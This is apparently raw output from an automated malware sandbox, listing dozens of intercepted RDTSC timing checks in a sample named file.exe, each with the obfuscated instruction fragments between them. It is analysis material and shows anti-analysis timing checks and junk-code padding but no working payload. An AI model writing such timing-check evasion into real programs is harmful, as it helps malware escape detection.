Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F544 second address: A8F54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F54B second address: A8F551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F551 second address: A8F555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F555 second address: A8F55F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F55F second address: A8F563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F6C0 second address: A8F6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F826 second address: A8F850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1B51130FA3h 0x0000000b jmp 00007F1B51130F9Dh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F9E4 second address: A8F9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F9E8 second address: A8FA1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA5h 0x00000007 jmp 00007F1B51130FA0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jc 00007F1B51130F96h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8FA1A second address: A8FA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93075 second address: A930BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jne 00007F1B51130FA6h 0x00000011 push esi 0x00000012 jnc 00007F1B51130F96h 0x00000018 pop esi 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007F1B51130F98h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A930BA second address: A930DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817836h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9323C second address: A93241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93385 second address: A9338B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9338B second address: A9338F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9338F second address: A93448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1E76h], esi 0x0000000f mov dword ptr [ebp+122D1CDEh], eax 0x00000015 push 00000000h 0x00000017 movsx ecx, bx 0x0000001a push F0E3B7BAh 0x0000001f ja 00007F1B50817844h 0x00000025 add dword ptr [esp], 0F1C48C6h 0x0000002c jmp 00007F1B5081782Dh 0x00000031 push 00000003h 0x00000033 mov edx, dword ptr [ebp+122D3E2Fh] 0x00000039 push 00000000h 0x0000003b push 00000003h 0x0000003d mov edi, dword ptr [ebp+122D3DBFh] 0x00000043 call 00007F1B50817829h 0x00000048 jl 00007F1B5081783Ch 0x0000004e jmp 00007F1B50817836h 0x00000053 push eax 0x00000054 jp 00007F1B5081783Ch 0x0000005a push ecx 0x0000005b jmp 00007F1B50817834h 0x00000060 pop ecx 0x00000061 mov eax, dword ptr [esp+04h] 0x00000065 push eax 0x00000066 push edx 0x00000067 push ebx 0x00000068 jbe 00007F1B50817826h 0x0000006e pop ebx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93448 second address: A9346D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F1B51130F98h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A935DE second address: A93634 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F1B50817834h 0x0000000c popad 0x0000000d xor dword ptr [esp], 531B0877h 0x00000014 mov ecx, dword ptr [ebp+122D3F9Fh] 0x0000001a lea ebx, dword ptr [ebp+12457FD4h] 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F1B50817828h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a mov dl, 69h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93634 second address: A93638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93638 second address: A9363E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9363E second address: A93648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1B51130F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB34A1 second address: AB34A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB168F second address: AB169E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB169E second address: AB16A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB1801 second address: AB1805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2014 second address: AB2033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F1B50817836h 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2033 second address: AB2042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B51130F9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2042 second address: AB2076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817835h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B50817839h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2076 second address: AB207A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2366 second address: AB2370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2370 second address: AB2374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2374 second address: AB2386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push edx 0x0000000a jo 00007F1B5081782Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7D954 second address: A7D95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6EF3 second address: AA6F12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817831h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1B5081782Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6F12 second address: AA6F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2648 second address: AB2652 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B50817826h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2BEB second address: AB2C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007F1B51130FC2h 0x0000000d pushad 0x0000000e jmp 00007F1B51130FA7h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB3383 second address: AB3398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jl 00007F1B50817832h 0x0000000d jo 00007F1B50817826h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBE7F second address: ABBE85 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBE85 second address: ABBEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1B50817838h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBEA1 second address: ABBEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC06E7 second address: AC06ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC06ED second address: AC06F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC06F1 second address: AC06F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC06F7 second address: AC0704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0704 second address: AC070E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC070E second address: AC0719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0719 second address: AC071E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC071E second address: AC0724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC0724 second address: AC0728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFB5E second address: ABFB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFE29 second address: ABFE2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFF77 second address: ABFFA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B51130FA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B51130F9Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFFA0 second address: ABFFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABFFA8 second address: ABFFAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC16D0 second address: AC16F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B50817837h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jo 00007F1B50817830h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC16F9 second address: AC1746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jp 00007F1B51130FA1h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 jmp 00007F1B51130FA1h 0x00000018 push ecx 0x00000019 jne 00007F1B51130F96h 0x0000001f pop ecx 0x00000020 popad 0x00000021 pop eax 0x00000022 mov edi, dword ptr [ebp+122D3CD7h] 0x00000028 push 0911F796h 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jg 00007F1B51130F96h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1818 second address: AC182E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1B5081782Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC19BB second address: AC19BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC19BF second address: AC19C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1AA3 second address: AC1AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1BA1 second address: AC1BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F1B5081782Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E1D second address: AC1E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC1E21 second address: AC1E2B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC233B second address: AC236E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B51130F98h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d je 00007F1B51130F9Ch 0x00000013 nop 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1B51130FA6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC236E second address: AC239D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1B50817826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1B5081782Ch 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1B50817834h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC251E second address: AC2522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC294D second address: AC2953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2953 second address: AC2959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2959 second address: AC295D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC295D second address: AC29A0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F1B51130F98h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 add esi, 0BB098A5h 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F1B51130F9Ah 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3FD3 second address: AC3FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3FD7 second address: AC3FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3FDB second address: AC3FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3FE1 second address: AC3FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC3FE7 second address: AC3FF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F1B50817826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F410 second address: A7F435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 jmp 00007F1B51130FA8h 0x0000000d popad 0x0000000e push esi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7F435 second address: A7F43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC609B second address: AC60AC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1B51130F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC60AC second address: AC60B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC586D second address: AC5896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F1B51130F98h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1B51130FA7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC60B0 second address: AC60BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC60BA second address: AC60BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC6A24 second address: AC6A53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edi, si 0x0000000c push 00000000h 0x0000000e mov esi, dword ptr [ebp+122D27BCh] 0x00000014 push 00000000h 0x00000016 jmp 00007F1B5081782Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jl 00007F1B50817828h 0x00000024 push edx 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC75DB second address: AC75E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC72F3 second address: AC7309 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1B50817828h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jng 00007F1B5081782Eh 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC908B second address: AC908F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC96EA second address: AC96EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA138 second address: ACA13D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA13D second address: ACA193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 xor edi, dword ptr [ebp+122D3DA3h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F1B50817828h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d mov esi, edi 0x0000002f pushad 0x00000030 mov edx, edi 0x00000032 stc 0x00000033 popad 0x00000034 popad 0x00000035 xchg eax, ebx 0x00000036 jmp 00007F1B5081782Ch 0x0000003b push eax 0x0000003c push esi 0x0000003d push eax 0x0000003e push edx 0x0000003f ja 00007F1B50817826h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACA193 second address: ACA197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEA34 second address: ACEA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEA38 second address: ACEA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEA3E second address: ACEA44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
